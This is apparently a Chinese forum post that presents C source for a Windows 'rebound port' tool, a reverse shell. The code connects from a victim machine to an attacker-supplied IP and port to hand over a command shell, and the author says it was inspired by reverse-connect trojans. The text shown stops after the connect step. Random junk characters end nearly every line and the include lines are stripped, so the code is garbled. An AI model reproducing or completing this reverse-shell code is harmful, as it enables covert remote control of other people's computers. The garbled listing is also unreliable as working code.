这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 ]p!Gt,rYq
wIf
{6z{
/* ============================== ,]5Ic.};p
Rebound port in Windows NT _xLHrT!y
By wind,2006/7 X1vNF|o~
===============================*/ HBB{m
#include DSxUdEK6
#include >Ng)k]G
dz[
bm<T7
#pragma comment(lib,"wsock32.lib") 1w"8~Z:UXV
a1j.fA
void OutputShell(); _Zc%z@}
SOCKET sClient; vEG'HOP
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; fKtV'/X;Q
T%Pp*1/m7
void main(int argc,char **argv) c
'\SfW<
{ 4"=Vq5
WSADATA stWsaData; @d&/?^dp6
int nRet; :3$}^uzIq
SOCKADDR_IN stSaiClient,stSaiServer; ]P[%Mhg^
0ji
q-3V)
if(argc != 3) ?U7) XvQ
{ aTzDew
printf("Useage:\n\rRebound DestIP DestPort\n"); -@&1`@):{
return; 6/ `.(fL1
} 4eH.9t
ai*b:Q
WSAStartup(MAKEWORD(2,2),&stWsaData); Z"s|]K "
_e!F~V.
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); i5F:r|
*xR
2)u
stSaiClient.sin_family = AF_INET; m%#`y\]I
stSaiClient.sin_port = htons(0); j'p1q
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); +([!A6:
yGpz,X4x
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) y]e> E
{ =xianQ<lK
printf("Bind Socket Failed!\n"); M|io4+sy
return; l =IeJh
} *V k ^f+5
&2I*0
stSaiServer.sin_family = AF_INET; _KD5T4FZR
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 4l8BQz}sb
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); GYB+RU}],
+2C?9:bH
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) JmpsQ,,
{ Pgp {$ID
printf("Connect Error!"); V84*0&q